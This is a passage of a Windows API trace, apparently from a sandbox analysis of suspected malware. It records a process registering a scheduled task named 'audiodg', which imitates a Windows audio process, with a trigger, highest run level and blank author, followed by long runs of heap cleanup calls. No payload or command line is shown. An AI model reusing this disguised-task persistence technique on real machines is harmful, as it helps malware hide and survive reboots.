[0070.685] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0070.685] IUnknown:Release (This=0x261b0) returned 0x1 [0070.685] IUnknown:Release (This=0x27e30) returned 0x1 [0070.685] ITaskDefinition:get_Triggers (in: This=0x27d70, ppTriggers=0x1bc680 | out: ppTriggers=0x1bc680*=0x25f80) returned 0x0 [0070.686] ITriggerCollection:Create (in: This=0x25f80, Type=9, ppTrigger=0x1bc678 | out: ppTrigger=0x1bc678*=0x26220) returned 0x0 [0070.686] IUnknown:QueryInterface (in: This=0x26220, riid=0xff3d1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1bc670 | out: ppvObject=0x1bc670*=0x26220) returned 0x0 [0070.686] IUnknown:Release (This=0x26220) returned 0x2 [0070.686] _vsnwprintf (in: _Buffer=0x1bc5c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1bc598 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0070.686] ITrigger:put_StartBoundary (This=0x26220, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0070.686] lstrlenW (lpString="") returned 0 [0070.686] lstrlenW (lpString="") returned 0 [0070.686] lstrlenW (lpString="") returned 0 [0070.686] lstrlenW (lpString="") returned 0 [0070.687] IUnknown:Release (This=0x26220) returned 0x1 [0070.687] IUnknown:Release (This=0x25f80) returned 0x1 [0070.687] ITaskDefinition:get_Settings (in: This=0x27d70, ppSettings=0x1bcb20 | out: ppSettings=0x1bcb20*=0x25ff0) returned 0x0 [0070.687] lstrlenW (lpString="") returned 0 [0070.687] IUnknown:Release (This=0x25ff0) returned 0x1 [0070.687] GetLocalTime (in: lpSystemTime=0x1bc9d8 | out: lpSystemTime=0x1bc9d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x37, wMilliseconds=0x2c)) [0070.687] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0070.687] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0070.688] GetUserNameW (in: lpBuffer=0x1bca00, pcbBuffer=0x1bc9e8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1bc9e8) returned 1 [0070.688] ITaskDefinition:get_RegistrationInfo (in: This=0x27d70, ppRegistrationInfo=0x1bc9d0 | out: ppRegistrationInfo=0x1bc9d0*=0x27eb0) returned 0x0 [0070.688] IRegistrationInfo:put_Author (This=0x27eb0, Author="") returned 0x0 [0070.688] _vsnwprintf (in: _Buffer=0x1bca00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1bc998 | out: _Buffer="2023-09-19T17:16:55") returned 19 [0070.688] IRegistrationInfo:put_Date (This=0x27eb0, Date="") returned 0x0 [0070.688] IUnknown:Release (This=0x27eb0) returned 0x1 [0070.689] malloc (_Size=0x18) returned 0x1cdf50 [0070.689] free (_Block=0x1cdf50) [0070.689] lstrlenW (lpString="") returned 0 [0070.689] ITaskDefinition:get_Principal (in: This=0x27d70, ppPrincipal=0x1bcbf0 | out: ppPrincipal=0x1bcbf0*=0x26100) returned 0x0 [0070.689] IPrincipal:put_RunLevel (This=0x26100, RunLevel=1) returned 0x0 [0070.689] IUnknown:Release (This=0x26100) returned 0x1 [0070.689] malloc (_Size=0x18) returned 0x1cdf50 [0070.689] ITaskFolder:RegisterTaskDefinition (in: This=0x27d20, Path="audiodg", pDefinition=0x27d70, flags=6, UserId=0x1bcc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1beb80, varVal2=0xfe), LogonType=3, sddl=0x1bcc90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1bcb90 | out: ppTask=0x1bcb90*=0x26490) returned 0x0 [0071.461] free (_Block=0x1cdf50) [0071.461] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.461] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0071.461] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0071.461] GetProcessHeap () returned 0x310000 [0071.461] GetProcessHeap () returned 0x310000 [0071.461] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6c0) returned 1 [0071.461] GetProcessHeap () returned 0x310000 [0071.461] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6c0) returned 0xe [0071.461] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6c0 | out: hHeap=0x310000) returned 1 [0071.461] GetProcessHeap () returned 0x310000 [0071.461] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x82) returned 0x349a70 [0071.461] _vsnwprintf (in: _Buffer=0x1bd2d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1bcb38 | out: _Buffer="SUCCESS: The scheduled task \"audiodg\" has successfully been created.\n") returned 69 [0071.461] _fileno (_File=0x7feffe22ab0) returned -2 [0071.461] _errno () returned 0x24bb0 [0071.461] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0071.462] SetLastError (dwErrCode=0x6) [0071.462] lstrlenW (lpString="SUCCESS: The scheduled task \"audiodg\" has successfully been created.\n") returned 69 [0071.462] GetConsoleOutputCP () returned 0x0 [0071.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"audiodg\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0071.462] GetConsoleOutputCP () returned 0x0 [0071.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"audiodg\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xff411880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"audiodg\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0071.462] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 69 [0071.462] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0071.462] IUnknown:Release (This=0x26490) returned 0x0 [0071.462] TaskScheduler:IUnknown:Release (This=0x27d70) returned 0x0 [0071.462] TaskScheduler:IUnknown:Release (This=0x27d20) returned 0x0 [0071.462] TaskScheduler:IUnknown:Release (This=0x27b60) returned 0x1 [0071.462] lstrlenW (lpString="") returned 0 [0071.462] GetProcessHeap () returned 0x310000 [0071.462] GetProcessHeap () returned 0x310000 [0071.462] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c430) returned 1 [0071.462] GetProcessHeap () returned 0x310000 [0071.462] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c430) returned 0x1fc [0071.463] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c430 | out: hHeap=0x310000) returned 1 [0071.463] GetProcessHeap () returned 0x310000 [0071.463] GetProcessHeap () returned 0x310000 [0071.463] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d640) returned 1 [0071.463] GetProcessHeap () returned 0x310000 [0071.463] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d640) returned 0x16 [0071.463] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d640 | out: hHeap=0x310000) returned 1 [0071.463] GetProcessHeap () returned 0x310000 [0071.463] GetProcessHeap () returned 0x310000 [0071.463] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d620) returned 1 [0071.463] GetProcessHeap () returned 0x310000 [0071.463] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d620) returned 0x18 [0071.463] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d620 | out: hHeap=0x310000) returned 1 [0071.464] GetProcessHeap () returned 0x310000 [0071.464] GetProcessHeap () returned 0x310000 [0071.464] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce90) returned 1 [0071.464] GetProcessHeap () returned 0x310000 [0071.464] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce90) returned 0x20 [0071.464] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce90 | out: hHeap=0x310000) returned 1 [0071.464] GetProcessHeap () returned 0x310000 [0071.464] GetProcessHeap () returned 0x310000 [0071.464] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c110) returned 1 [0071.464] GetProcessHeap () returned 0x310000 [0071.464] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c110) returned 0xa0 [0071.464] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c110 | out: hHeap=0x310000) returned 1 [0071.464] GetProcessHeap () returned 0x310000 [0071.464] GetProcessHeap () returned 0x310000 [0071.464] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb90) returned 1 [0071.465] GetProcessHeap () returned 0x310000 [0071.465] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb90) returned 0x18 [0071.465] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb90 | out: hHeap=0x310000) returned 1 [0071.465] GetProcessHeap () returned 0x310000 [0071.465] GetProcessHeap () returned 0x310000 [0071.465] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc50) returned 1 [0071.465] GetProcessHeap () returned 0x310000 [0071.465] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc50) returned 0x20 [0071.465] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc50 | out: hHeap=0x310000) returned 1 [0071.465] GetProcessHeap () returned 0x310000 [0071.465] GetProcessHeap () returned 0x310000 [0071.465] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x329480) returned 1 [0071.465] GetProcessHeap () returned 0x310000 [0071.465] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329480) returned 0x3c [0071.465] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329480 | out: hHeap=0x310000) returned 1 [0071.466] GetProcessHeap () returned 0x310000 [0071.466] GetProcessHeap () returned 0x310000 [0071.466] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d660) returned 1 [0071.466] GetProcessHeap () returned 0x310000 [0071.466] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d660) returned 0x18 [0071.466] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d660 | out: hHeap=0x310000) returned 1 [0071.466] GetProcessHeap () returned 0x310000 [0071.466] GetProcessHeap () returned 0x310000 [0071.466] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc20) returned 1 [0071.466] GetProcessHeap () returned 0x310000 [0071.466] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc20) returned 0x20 [0071.466] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc20 | out: hHeap=0x310000) returned 1 [0071.466] GetProcessHeap () returned 0x310000 [0071.466] GetProcessHeap () returned 0x310000 [0071.466] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x329430) returned 1 [0071.466] GetProcessHeap () returned 0x310000 [0071.467] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329430) returned 0x3e [0071.467] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329430 | out: hHeap=0x310000) returned 1 [0071.467] GetProcessHeap () returned 0x310000 [0071.467] GetProcessHeap () returned 0x310000 [0071.467] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d600) returned 1 [0071.467] GetProcessHeap () returned 0x310000 [0071.467] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d600) returned 0x18 [0071.467] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d600 | out: hHeap=0x310000) returned 1 [0071.467] GetProcessHeap () returned 0x310000 [0071.467] GetProcessHeap () returned 0x310000 [0071.467] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cbf0) returned 1 [0071.467] GetProcessHeap () returned 0x310000 [0071.467] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cbf0) returned 0x20 [0071.468] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cbf0 | out: hHeap=0x310000) returned 1 [0071.468] GetProcessHeap () returned 0x310000 [0071.468] GetProcessHeap () returned 0x310000 [0071.468] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c410) returned 1 [0071.468] GetProcessHeap () returned 0x310000 [0071.468] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c410) returned 0xe [0071.468] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c410 | out: hHeap=0x310000) returned 1 [0071.468] GetProcessHeap () returned 0x310000 [0071.468] GetProcessHeap () returned 0x310000 [0071.468] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3f0) returned 1 [0071.468] GetProcessHeap () returned 0x310000 [0071.469] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c3f0) returned 0x18 [0071.469] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3f0 | out: hHeap=0x310000) returned 1 [0071.469] GetProcessHeap () returned 0x310000 [0071.469] GetProcessHeap () returned 0x310000 [0071.469] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325e10) returned 1 [0071.469] GetProcessHeap () returned 0x310000 [0071.469] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325e10) returned 0x20 [0071.469] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325e10 | out: hHeap=0x310000) returned 1 [0071.469] GetProcessHeap () returned 0x310000 [0071.469] GetProcessHeap () returned 0x310000 [0071.469] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bd10) returned 1 [0071.469] GetProcessHeap () returned 0x310000 [0071.469] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bd10) returned 0x208 [0071.470] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bd10 | out: hHeap=0x310000) returned 1 [0071.470] GetProcessHeap () returned 0x310000 [0071.470] GetProcessHeap () returned 0x310000 [0071.470] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb70) returned 1 [0071.470] GetProcessHeap () returned 0x310000 [0071.470] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb70) returned 0x18 [0071.470] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb70 | out: hHeap=0x310000) returned 1 [0071.470] GetProcessHeap () returned 0x310000 [0071.470] GetProcessHeap () returned 0x310000 [0071.470] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325d20) returned 1 [0071.470] GetProcessHeap () returned 0x310000 [0071.470] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325d20) returned 0x20 [0071.470] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325d20 | out: hHeap=0x310000) returned 1 [0071.470] GetProcessHeap () returned 0x310000 [0071.470] GetProcessHeap () returned 0x310000 [0071.470] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d3c0) returned 1 [0071.471] GetProcessHeap () returned 0x310000 [0071.471] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d3c0) returned 0x200 [0071.471] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d3c0 | out: hHeap=0x310000) returned 1 [0071.471] GetProcessHeap () returned 0x310000 [0071.471] GetProcessHeap () returned 0x310000 [0071.471] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bbb0) returned 1 [0071.471] GetProcessHeap () returned 0x310000 [0071.471] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bbb0) returned 0x18 [0071.471] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bbb0 | out: hHeap=0x310000) returned 1 [0071.471] GetProcessHeap () returned 0x310000 [0071.471] GetProcessHeap () returned 0x310000 [0071.471] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c90) returned 1 [0071.471] GetProcessHeap () returned 0x310000 [0071.471] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c90) returned 0x20 [0071.472] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c90 | out: hHeap=0x310000) returned 1 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c320) returned 1 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c320) returned 0x14 [0071.472] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c320 | out: hHeap=0x310000) returned 1 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c300) returned 1 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c300) returned 0x18 [0071.472] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c300 | out: hHeap=0x310000) returned 1 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325bd0) returned 1 [0071.472] GetProcessHeap () returned 0x310000 [0071.472] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325bd0) returned 0x20 [0071.473] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325bd0 | out: hHeap=0x310000) returned 1 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c340) returned 1 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c340) returned 0x16 [0071.473] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c340 | out: hHeap=0x310000) returned 1 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1c0) returned 1 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c1c0) returned 0x18 [0071.473] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1c0 | out: hHeap=0x310000) returned 1 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ba0) returned 1 [0071.473] GetProcessHeap () returned 0x310000 [0071.473] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ba0) returned 0x20 [0071.474] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ba0 | out: hHeap=0x310000) returned 1 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32baf0) returned 1 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32baf0) returned 0x2 [0071.474] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32baf0 | out: hHeap=0x310000) returned 1 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x3259f0) returned 1 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3259f0) returned 0x20 [0071.474] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3259f0 | out: hHeap=0x310000) returned 1 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a20) returned 1 [0071.474] GetProcessHeap () returned 0x310000 [0071.474] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a20) returned 0x20 [0071.475] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a20 | out: hHeap=0x310000) returned 1 [0071.475] GetProcessHeap () returned 0x310000 [0071.475] GetProcessHeap () returned 0x310000 [0071.475] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a50) returned 1 [0071.475] GetProcessHeap () returned 0x310000 [0071.475] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a50) returned 0x20 [0071.475] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a50 | out: hHeap=0x310000) returned 1 [0071.475] GetProcessHeap () returned 0x310000 [0071.475] GetProcessHeap () returned 0x310000 [0071.475] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a80) returned 1 [0071.475] GetProcessHeap () returned 0x310000 [0071.476] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a80) returned 0x20 [0071.476] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a80 | out: hHeap=0x310000) returned 1 [0071.476] GetProcessHeap () returned 0x310000 [0071.476] GetProcessHeap () returned 0x310000 [0071.476] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc80) returned 1 [0071.476] GetProcessHeap () returned 0x310000 [0071.476] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc80) returned 0x20 [0071.476] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc80 | out: hHeap=0x310000) returned 1 [0071.476] GetProcessHeap () returned 0x310000 [0071.477] GetProcessHeap () returned 0x310000 [0071.477] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d760) returned 1 [0071.477] GetProcessHeap () returned 0x310000 [0071.477] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d760) returned 0xc [0071.477] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d760 | out: hHeap=0x310000) returned 1 [0071.477] GetProcessHeap () returned 0x310000 [0071.477] GetProcessHeap () returned 0x310000 [0071.477] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccb0) returned 1 [0071.477] GetProcessHeap () returned 0x310000 [0071.477] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ccb0) returned 0x20 [0071.477] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccb0 | out: hHeap=0x310000) returned 1 [0071.477] GetProcessHeap () returned 0x310000 [0071.477] GetProcessHeap () returned 0x310000 [0071.477] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x327b80) returned 1 [0071.477] GetProcessHeap () returned 0x310000 [0071.477] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x327b80) returned 0x30 [0071.478] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x327b80 | out: hHeap=0x310000) returned 1 [0071.478] GetProcessHeap () returned 0x310000 [0071.478] GetProcessHeap () returned 0x310000 [0071.478] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cce0) returned 1 [0071.478] GetProcessHeap () returned 0x310000 [0071.478] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cce0) returned 0x20 [0071.478] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cce0 | out: hHeap=0x310000) returned 1 [0071.478] GetProcessHeap () returned 0x310000 [0071.478] GetProcessHeap () returned 0x310000 [0071.478] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x327bc0) returned 1 [0071.478] GetProcessHeap () returned 0x310000 [0071.479] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x327bc0) returned 0x30 [0071.479] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x327bc0 | out: hHeap=0x310000) returned 1 [0071.479] GetProcessHeap () returned 0x310000 [0071.479] GetProcessHeap () returned 0x310000 [0071.479] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce60) returned 1 [0071.479] GetProcessHeap () returned 0x310000 [0071.479] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce60) returned 0x20 [0071.480] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce60 | out: hHeap=0x310000) returned 1 [0071.480] GetProcessHeap () returned 0x310000 [0071.480] GetProcessHeap () returned 0x310000 [0071.480] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d680) returned 1 [0071.480] GetProcessHeap () returned 0x310000 [0071.480] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d680) returned 0x16 [0071.480] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d680 | out: hHeap=0x310000) returned 1 [0071.480] GetProcessHeap () returned 0x310000 [0071.480] GetProcessHeap () returned 0x310000 [0071.480] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce30) returned 1 [0071.480] GetProcessHeap () returned 0x310000 [0071.480] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce30) returned 0x20 [0071.480] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce30 | out: hHeap=0x310000) returned 1 [0071.480] GetProcessHeap () returned 0x310000 [0071.480] GetProcessHeap () returned 0x310000 [0071.480] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6a0) returned 1 [0071.480] GetProcessHeap () returned 0x310000 [0071.481] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6a0) returned 0x16 [0071.481] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6a0 | out: hHeap=0x310000) returned 1 [0071.481] GetProcessHeap () returned 0x310000 [0071.481] GetProcessHeap () returned 0x310000 [0071.481] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce00) returned 1 [0071.481] GetProcessHeap () returned 0x310000 [0071.481] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce00) returned 0x20 [0071.481] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce00 | out: hHeap=0x310000) returned 1 [0071.481] GetProcessHeap () returned 0x310000 [0071.481] GetProcessHeap () returned 0x310000 [0071.481] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x349a70) returned 1 [0071.481] GetProcessHeap () returned 0x310000 [0071.481] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x349a70) returned 0x82 [0071.482] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x349a70 | out: hHeap=0x310000) returned 1 [0071.482] GetProcessHeap () returned 0x310000 [0071.482] GetProcessHeap () returned 0x310000 [0071.482] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cdd0) returned 1 [0071.482] GetProcessHeap () returned 0x310000 [0071.482] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cdd0) returned 0x20 [0071.482] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cdd0 | out: hHeap=0x310000) returned 1 [0071.482] GetProcessHeap () returned 0x310000 [0071.482] GetProcessHeap () returned 